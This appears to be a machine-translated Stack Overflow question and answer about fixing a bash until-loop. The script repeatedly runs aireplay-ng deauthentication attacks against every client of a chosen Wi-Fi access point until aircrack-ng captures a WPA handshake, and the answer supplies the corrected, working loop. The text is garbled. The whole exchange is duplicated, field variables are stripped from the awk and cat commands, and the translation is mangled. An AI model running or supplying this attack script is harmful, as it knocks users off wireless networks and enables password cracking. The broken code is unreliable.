bash 直到当条件 returns 任何情况下循环为真
bash until loop true when condition returns anything
试图弄清楚如何获得此 until 循环以在脚本实际返回 任何数据 时终止脚本。我已经尝试过 -z、-n 等,但没有成功。该脚本旨在获取特定 BSSID 的任何 airodump-ng 输出(csv 格式),并遍历每个站点并在 5m 的周期内无限地解除它们的身份验证,直到 $SUCCESS returns捕获了 4 次握手
如有任何帮助,我们将不胜感激!
#!/bin/bash
#Need to get the BSSID Name
echo "BSSID Name? (Case Sensitive): "
read BSSIDNAME
BSSID=$(cat "" | awk -F',' 'NR>2{print }' | sed -e '/Station MAC/d' -e '/BSSID/d' -e '/\n/d' | sed -n 1p)
until [ "$SUCCESS" -n ]; do
for STATION in $(cat "" | awk -F',' 'NR>5{print }' | sed -e '/Station MAC/d' -e '/BSSID/d' | sed -e '/^.$/d' ); do
aireplay-ng --deauth 5 -a $BSSID -c $STATION wlan1mon;
sleep 5s;
done
SUCCESS=$(aircrack-ng "${BSSIDNAME}-01.cap" -w fakewordlist | grep "WPA (. handshake)")
done
这是调试输出。你可以看到它循环,即使我们收到了握手。
root@Pineapple:/sd/pcap# sh -x ./autodeauth.sh attackme-01.csv
+ echo BSSID Name? (Case Sensitive):
BSSID Name? (Case Sensitive):
+ read BSSIDNAME
attackme
+ + + sed -n 1p
awk -F, NR>2{print }
sed -e /Station MAC/d -e /BSSID/d -e /\n/d
+ cat attackme-01.csv
+ BSSID=00:11:11:11:11:11
+ [ -n ]
sh: -n: unknown operand
+ awk+ -F,sed+ NR>5{print } -esed
/Station MAC/d -e -e /^.$/d /BSSID/d
+ cat attackme-01.csv
+ aireplay-ng --deauth 5 -a 00:11:11:11:11:11 -c DE:AD:BE:EF:00:00 wlan1mon
05:41:31 Waiting for beacon frame (BSSID: 00:11:11:11:11:11) on channel 6
05:41:31 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|58 ACKs]
05:41:32 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|60 ACKs]
05:41:33 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|55 ACKs]
05:41:33 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|56 ACKs]
05:41:34 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|58 ACKs]
+ sleep 5s
+ aireplay-ng --deauth 5 -a 00:11:11:11:11:11 -c DE:AD:BE:EF:00:01 wlan1mon
05:41:39 Waiting for beacon frame (BSSID: 00:11:11:11:11:11) on channel 6
05:41:40 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|49 ACKs]
05:41:40 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|56 ACKs]
05:41:41 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|56 ACKs]
05:41:41 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|60 ACKs]
05:41:42 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|63 ACKs]
+ sleep 5s
+ grep WPA (. handshake)
+ aircrack-ng attackme-01.cap -w fakewordlist
+ SUCCESS= 1 00:11:11:11:11:11 attackeme WPA (1 handshake)
+ [ 1 00:11:11:11:11:11 attackme WPA (1 handshake) -n ]
sh: -n: unknown operand
行:
SUCCESS=$(something)
将运行something
一次并将输出存储到SUCCESS
环境变量中。
你的 until
循环体从不 运行 明确地 命令 所以我想你可能相信 $SUCCESS
在 until
语句以某种方式 运行ning 命令。
事实并非如此。它只是重新评估 SUCCESS
变量。您需要显式重新运行命令,例如with:
SUCCESS=$(aircrack-ng "${BSSID}-01.cap" -w fakewordlist | grep "WPA (. handshake)")
until [ -n "$SUCCESS" ]; do
for STATION in $(cat "" | awk -F',' 'NR>5{print }' | sed -e '/Station MAC/d' -e '/BSSID/d' -e '/\n/d'); do
aireplay-ng --deauth 5 -a $BSSID -c $STATION wlan1mon;
sleep 5m;
done
SUCCESS=$(aircrack-ng "${BSSID}-01.cap" -w fakewordlist | grep "WPA (. handshake)")
done
如果没有倒数第二行,SUCCESS
变量实际上永远不会改变,这可以解释为什么你的循环永远不会退出。
您可能会注意到我对您的代码所做的 其他 更改,即更改行:
until [ "$SUCCESS" -n ]; do
进入:
until [ -n "$SUCCESS" ]; do
后者是测试 SUCCESS
环境变量是否包含非空字符串的正确方法。
试图弄清楚如何获得此 until 循环以在脚本实际返回 任何数据 时终止脚本。我已经尝试过 -z、-n 等,但没有成功。该脚本旨在获取特定 BSSID 的任何 airodump-ng 输出(csv 格式),并遍历每个站点并在 5m 的周期内无限地解除它们的身份验证,直到 $SUCCESS returns捕获了 4 次握手
如有任何帮助,我们将不胜感激!
#!/bin/bash
#Need to get the BSSID Name
echo "BSSID Name? (Case Sensitive): "
read BSSIDNAME
BSSID=$(cat "" | awk -F',' 'NR>2{print }' | sed -e '/Station MAC/d' -e '/BSSID/d' -e '/\n/d' | sed -n 1p)
until [ "$SUCCESS" -n ]; do
for STATION in $(cat "" | awk -F',' 'NR>5{print }' | sed -e '/Station MAC/d' -e '/BSSID/d' | sed -e '/^.$/d' ); do
aireplay-ng --deauth 5 -a $BSSID -c $STATION wlan1mon;
sleep 5s;
done
SUCCESS=$(aircrack-ng "${BSSIDNAME}-01.cap" -w fakewordlist | grep "WPA (. handshake)")
done
这是调试输出。你可以看到它循环,即使我们收到了握手。
root@Pineapple:/sd/pcap# sh -x ./autodeauth.sh attackme-01.csv
+ echo BSSID Name? (Case Sensitive):
BSSID Name? (Case Sensitive):
+ read BSSIDNAME
attackme
+ + + sed -n 1p
awk -F, NR>2{print }
sed -e /Station MAC/d -e /BSSID/d -e /\n/d
+ cat attackme-01.csv
+ BSSID=00:11:11:11:11:11
+ [ -n ]
sh: -n: unknown operand
+ awk+ -F,sed+ NR>5{print } -esed
/Station MAC/d -e -e /^.$/d /BSSID/d
+ cat attackme-01.csv
+ aireplay-ng --deauth 5 -a 00:11:11:11:11:11 -c DE:AD:BE:EF:00:00 wlan1mon
05:41:31 Waiting for beacon frame (BSSID: 00:11:11:11:11:11) on channel 6
05:41:31 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|58 ACKs]
05:41:32 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|60 ACKs]
05:41:33 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|55 ACKs]
05:41:33 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|56 ACKs]
05:41:34 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|58 ACKs]
+ sleep 5s
+ aireplay-ng --deauth 5 -a 00:11:11:11:11:11 -c DE:AD:BE:EF:00:01 wlan1mon
05:41:39 Waiting for beacon frame (BSSID: 00:11:11:11:11:11) on channel 6
05:41:40 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|49 ACKs]
05:41:40 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|56 ACKs]
05:41:41 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|56 ACKs]
05:41:41 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|60 ACKs]
05:41:42 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|63 ACKs]
+ sleep 5s
+ grep WPA (. handshake)
+ aircrack-ng attackme-01.cap -w fakewordlist
+ SUCCESS= 1 00:11:11:11:11:11 attackeme WPA (1 handshake)
+ [ 1 00:11:11:11:11:11 attackme WPA (1 handshake) -n ]
sh: -n: unknown operand
行:
SUCCESS=$(something)
将运行something
一次并将输出存储到SUCCESS
环境变量中。
你的 until
循环体从不 运行 明确地 命令 所以我想你可能相信 $SUCCESS
在 until
语句以某种方式 运行ning 命令。
事实并非如此。它只是重新评估 SUCCESS
变量。您需要显式重新运行命令,例如with:
SUCCESS=$(aircrack-ng "${BSSID}-01.cap" -w fakewordlist | grep "WPA (. handshake)")
until [ -n "$SUCCESS" ]; do
for STATION in $(cat "" | awk -F',' 'NR>5{print }' | sed -e '/Station MAC/d' -e '/BSSID/d' -e '/\n/d'); do
aireplay-ng --deauth 5 -a $BSSID -c $STATION wlan1mon;
sleep 5m;
done
SUCCESS=$(aircrack-ng "${BSSID}-01.cap" -w fakewordlist | grep "WPA (. handshake)")
done
如果没有倒数第二行,SUCCESS
变量实际上永远不会改变,这可以解释为什么你的循环永远不会退出。
您可能会注意到我对您的代码所做的 其他 更改,即更改行:
until [ "$SUCCESS" -n ]; do
进入:
until [ -n "$SUCCESS" ]; do
后者是测试 SUCCESS
环境变量是否包含非空字符串的正确方法。